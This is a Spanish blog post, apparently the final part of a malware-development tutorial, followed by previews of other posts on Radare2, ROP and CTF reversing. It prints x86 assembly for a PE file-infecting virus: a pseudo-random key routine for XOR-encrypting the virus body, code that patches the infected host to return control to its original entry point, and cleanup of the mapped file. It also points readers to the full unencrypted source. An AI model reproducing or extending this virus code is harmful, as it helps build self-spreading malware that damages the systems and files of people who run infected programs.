Vamos a explicar ahora la subrutina de generaclave , y su procedimiento para generar la clave aleatoria con la que vamos a ir cifrando con XOR el código del malware.                                         

generaclave proc                                                                                                                                                          

    mov         eax, [ebp + semilla]           ; Comprobamos el valor de la semilla si el valor es = 0 , flag Z = 1  llamamos a la función getTickCount                  

    test        eax, eax                                             

  jnz         semillaOK                                                                                                                                                 

    call    [ebp + offset zGetTickCount]        ;La función GetTickCount lo habremos obtenido de la rutina donde sacamos el valor de todas las APIs                    

    and         eax, 0FFh                       ;El resultado del valor del getTickcount nos quedamos con el ultimo Byte como valor random.                                                 

    mov [ebp + semilla], eax                   ; Guardamos el valor en la semilla                                                                                          

                                                                                                                                                                           

semillaOK:                                     ;; Hacemos el proceso de regresión Lineal.                                                                                 

    mov eax, [ebp + semilla]                   ; Cogemos la semilla la multiplicamos por 5, le sumamos 3  y la dividimos por 20  y nos quedamos con el resto.            

    mov edx, 05h                                                                                                                                                          

    mul edx                                                                                                                                                               

    add eax, 03h                                                                                                                                                           

    mov ebx, 020h                                                                                                                                                         

    xor         edx, edx                                                                                                                                                  

    div         ebx                                                                                                                                                        

     mov eax, edx                           ; toma el resto de la división                                                                                                 

    mov [ebp + semilla], eax          ; guarda la semilla para la próxima ejecución.                                                                                      

     ret                                                                                                                                                                   

generaclave endp                                                                                                                                                          

  

Ahora solo queda, sólo nos queda ver cómo le devolvemos la ejecución al host original luego de producida la infección y el ajuste de algunos valores que ayudarán al correcto funcionamiento del virus.                            

Una vez que terminamos todo, tenemos que preparar el código para  devolverle el control al host original y se ejecute normalmente.                                                                                                                                                                                                                                                          

    mov     ebx, [ebp + offset hostPE]             ; ebx = offset de la cabecera PE del host                                                                                                                                         

    mov     ebx, [ebx + 034h]       ; ebx = ImageBase del host                                                                                                                                                        

    mov     eax, [ebp + offset entryPoinOrig]      ; recuperamos el entry point original que habíamos guardado                                                                                                                        

    add     eax, ebx                               ; le sumamos la base ya que es una RVA                                                                                                                                                                               

   mov     edi, [ebp + offset UltimaSeccPE]                                                               

    lea     ecx, [offset volverHost + 12] ; estos 12 son los bytes de POPAD …  hasta llegar a la instrucción donde tenemos el 68h ( opcode del push)                                                                                                       

    sub     ecx, offset iniciovir    ;Le cogemos el inicio del virus y se lo restamos para conocer directamente el desplazamiento                                                                                     

                                                                                                                                                                                                                                      

    add     edi, ecx             ;En edi tenemos el valor en memoria de la primera dirección de memoria de nuestra última sección 

  mov     dword ptr [edi], eax                   ; Cargamos la dirección del entrypoint original en esa instrucción.                                                                                                                 


Desciframos la dirección de salto:                                                                                                                

    movzx   ebx, byte ptr [ebp + offset clave]                                                                                                     

    xor        byte ptr [edi+0], bl                                                                 

    xor        byte ptr [edi+1], bl                                                                                                      

    xor        byte ptr [edi+2], bl                                                                                                           

    xor        byte ptr [edi+3], bl                                                                                           

Una vez que ya hayamos terminado con la rutina de infección tenemos que hacer lo siguiente:                                                                                                                                         

Desmapear el archivo que tenemos mapeado en memoria                                                                                                                                                                                 

desmapearArchivo:                                 

    push      [ebp + offset inicioHostMem]                                call        [ebp + offset zUViewOfFile]                                                                                                  

cierraMapeo:                                                           push    [ebp + offset handleMem]          ; handle devuelto por CreateFileMappingA                                                                                                                                           

    call   [ebp + offset zCloseHandle] ;Llamamos a closeHandle para cerrar el archivo que conseguimos abrir con CreateFileMappingA                                                                                             

cerrarArchivo:                                                                                                                              push      [ebp + offset handleCreate]                                                                call        [ebp + offset zCloseHandle] ;Llamamos a closeHandle para cerrar el archivo que conseguimos abrir con CreateFileA            

salirInfeccion:                                                      

ret     

infectar endp                                                                                                                                                                                                                        

                                                                                                                                                                                                                                      

Con esto acabamos la entrada básica de desarrollo de malware, si queréis descargaros el código completo(sin cifrado), lo podéis hacer a través de mi github.

Un saludo,

Krilin4                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 

Comentarios

Entradas populares de este blog

Radare2- Set de comandos básicos

Buenas a todos y Feliz navidad lo primero. Entre mantecado y mantecado, y motivado por el curso de Ricardo Narvaja (CrackLatinos), me he decidido a publicar una entrada que es mas para mí que para el resto. Pero supongo que puede ser útil para otras personas, de ahí que lo ponga lo mas bonito posible en la web. Vamos a ver un "cheatsheet" con comandos útiles de Radare2 y su funcionalidad, todo esto puede extraerse del --help de las herramientas, pero para los que como yo le gusta ir al grano y ahorrar el mayor tiempo posible, tienen esta entrada. RABIN2: rabin2 -I file_.exe --> Nos proporciona información básica del binario, como arquitectura, y las protecciones del binario como (nx,dep,aslr...) rabin2 -i file_.exe --> Nos muestra los imports del binario. rabin2 -e file_.exe --> Dirección del Entry point. (Dirección virtual y raw offset en el executable) rabin2 -zz file_.exe --> Muestra las strings rabin2 -g file_.exe --> Este comando nos muestr

Iniciación a la técnica de ROP

Buenas a todos, En esta entrada vamos a resolver el binario propuesto por el maestro con la protección DEP: Que previene de ejecutar el código que introducimos en el stack si se encuentra activada esta protección del binario. Para ver si un binario tiene la protección DEP (Data execution prevention) activa, p odemos mirarlo con la herramienta ProcessExplorer tal y como vamos a ver en el siguiente ejemplo activando la columna DEP del mismo para poder comprobar si el proceso tiene o no el DEP habilitado:                                 Vemos que al ser un sistema operativo de x64, todos nuestros procesos tiene el DEP habilitado por defecto, y hemos de comprobar también si tiene alguna otra protección nuestro binario como el ASLR(Address Space Layout Randomization), encargado de aleatorizar las direcciones de la memoria virtual cuando nuestro binario es cargado en memoria virtual. Vamos a ver todos los módulos que componen el binario (Programa + librerias(dlls)) para ver si algún

CTF WriteUp sencillos con Radare2

Para comenzar el blog y así repasar yo de paso, ahora que llevo un tiempo sin hacer ningún tipo de reto en reversing voy a comenzar con algunos CTF que ya se han cerrado y que intentaré resolverlos haciendo uso de Radare2 para los retos que estén sobre la plataforma Linux y IDA para los resto sobre la plataforma Windows. Iré comenzando de dificultad baja y poco a poco subiremos la dificultad conforme vaya sintiéndome mas cómodo yo con las herramientas utilizadas. El  primer reto es un de  Sharif_University_CTF_2016 y es llamado dMd   cuyo binario os podéis descargar de el Github que os dejo a continuación  https://github.com/N4NU/Reversing-Challenges-List/tree/master/Baby/Sharif_University_CTF_2016_dMd . Los voy a encarar de la forma mas sencilla posible para poder seguir un patrón: 1) Mirar el tipo de binario que es: Tras ver el tipo de binario que es, seguidamente lo que hacemos es intentar sacar información del binario como algunas " S trings interesantes "